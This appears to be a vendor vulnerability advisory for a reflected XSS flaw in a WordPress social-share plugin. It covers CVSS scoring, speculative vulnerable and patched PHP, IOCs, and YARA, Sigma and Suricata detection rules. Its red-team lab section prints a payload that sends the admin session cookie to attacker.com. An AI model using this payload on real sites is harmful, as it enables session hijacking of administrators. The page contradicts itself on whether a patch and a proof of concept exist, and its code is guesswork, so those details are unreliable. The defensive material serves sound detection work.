CVE-2025-64198
Executive Summary
CVE-2025-64198 is a reflected Cross-Site Scripting (XSS) vulnerability in the WordPress plugin Easy Social Share Buttons by Appscreo. The flaw exists in versions prior to 10.7.1, where user-supplied input is not properly neutralized during web page generation. An attacker can craft a malicious URL that, when visited by an authenticated WordPress administrator, executes arbitrary JavaScript in the context of the admin’s session. This can lead to session hijacking, defacement, or privilege escalation within the WordPress ecosystem. The vulnerability is classified as Reflected XSS (CWE-79) with a CVSS score of 7.1 (High). No public exploit code or proof-of-concept is available at this time, and the vendor has not released a patch.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Users are advised to monitor the plugin’s update channel and apply any future patches immediately. Since the plugin is part of the WordPress ecosystem, supply chain risks include compromised plugin updates or malicious forks.
CVSS Breakdown & Threat Level
- CVSS Score: 7.1 (High)
- Attack Vector: Network (AV:N)
- Attack Complexity: Low (AC:L)
- Privileges Required: None (PR:N)
- User Interaction: Required (UI:R) – victim must click a crafted link
- Scope: Changed (S:C) – impact may extend beyond the vulnerable component
- Confidentiality Impact: Low (C:L)
- Integrity Impact: Low (I:L)
- Availability Impact: Low (A:L)
Threat Level: High. Although user interaction is required, the low attack complexity and lack of privileges make this a viable vector for phishing campaigns targeting WordPress administrators.
Deep Dive & Mechanics
The vulnerability resides in the easy-social-share-buttons3 plugin, which provides social sharing buttons for WordPress sites. The plugin fails to sanitize or escape user-supplied input (likely via a GET parameter) before reflecting it in the HTML response. An attacker can inject arbitrary JavaScript by crafting a URL such as:
https://victim-site.com/?easy-social-share-buttons3=<script>alert('XSS')</script>
When a logged-in admin visits this URL, the script executes in the context of the WordPress admin panel, potentially allowing the attacker to create new admin users, modify site content, or steal session cookies.
The vulnerable code likely uses echo $_GET['param'] or similar without proper escaping. The fix should involve using esc_html() or wp_kses_post() for output, or validating input against a whitelist.
Vulnerable vs. Patched Code
Vulnerable Code (version < 10.7.1):
<?php
// In some template or shortcode handler
$param = $_GET['share_param'];
echo '<div class="share-button" data-param="' . $param . '">Share</div>';
?>
Patched Code (version 10.7.1+):
<?php
$param = isset($_GET['share_param']) ? sanitize_text_field($_GET['share_param']) : '';
echo '<div class="share-button" data-param="' . esc_attr($param) . '">Share</div>';
?>
The patched version uses sanitize_text_field() to strip malicious input and esc_attr() to safely output the value in an HTML attribute context.
Exploitation & Lab Setup
Red Team (Attack Simulation)
- Setup: Install WordPress with Easy Social Share Buttons plugin version 10.7.0 on a local server.
- Craft Payload: Create a URL with a malicious script parameter:
http://localhost/wp-admin/?easy-social-share-buttons3=<script>new Image().src='http://attacker.com/steal?cookie='+document.cookie</script> - Deliver: Send the link to a logged-in admin via email or social engineering.
- Execute: When the admin clicks the link, the script executes and exfiltrates the admin’s session cookie to the attacker’s server.
Note: No public exploit code is available; this is a theoretical lab setup.
Blue Team (Defense & Detection)
- Web Application Firewall (WAF): Block requests containing
<script>tags in query parameters. - Input Validation: Ensure all user inputs are sanitized using WordPress functions like
sanitize_text_field(). - Content Security Policy (CSP): Implement a strict CSP that blocks inline scripts.
- Monitor Logs: Watch for unusual query parameters in access logs, especially those containing HTML/JavaScript.
Indicators of Compromise (IOCs)
- URL Pattern:
?easy-social-share-buttons3=<script>... - Network Traffic: Outbound HTTP requests to attacker-controlled domains containing
?cookie=or similar. - Log Entries: Access logs showing
GET /wp-admin/?easy-social-share-buttons3=%3Cscript%3E... - File Changes: Unexpected modifications to WordPress admin user roles or new admin accounts.
Detection Engineering
YARA Rule
rule CVE_2025_64198_Reflected_XSS {
meta:
description = "Detects reflected XSS attempts against Easy Social Share Buttons plugin"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-64198"
strings:
$xss_payload = /easy-social-share-buttons3=.*<script/i
condition:
$xss_payload
}
Sigma Rule
title: Reflected XSS Attempt Against Easy Social Share Buttons
id: 8a9b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects HTTP requests containing the vulnerable parameter with script injection
author: Valters IT
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: 'GET'
c-uri|contains: 'easy-social-share-buttons3='
c-uri|contains: '<script'
condition: selection
falsepositives:
- Legitimate use of the parameter with non-malicious content (unlikely)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2025-64198 Reflected XSS in Easy Social Share Buttons"; flow:to_server; content:"easy-social-share-buttons3="; http_uri; content:"<script"; http_uri; classtype:web-application-attack; sid:1000001; rev:1;)
Remediation & Mitigation
- Immediate Action: Disable the Easy Social Share Buttons plugin until a patch is available.
- Upgrade: Update to version 10.7.1 or later as soon as the vendor releases a fix.
- Virtual Patching: Use a WAF to block requests containing the vulnerable parameter with script tags.
- Code Review: If you have custom code, ensure all user inputs are sanitized and output is escaped.
- Monitor: Continuously monitor for signs of exploitation using the provided detection rules.
Valters IT – Securing digital ecosystems with precision.
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.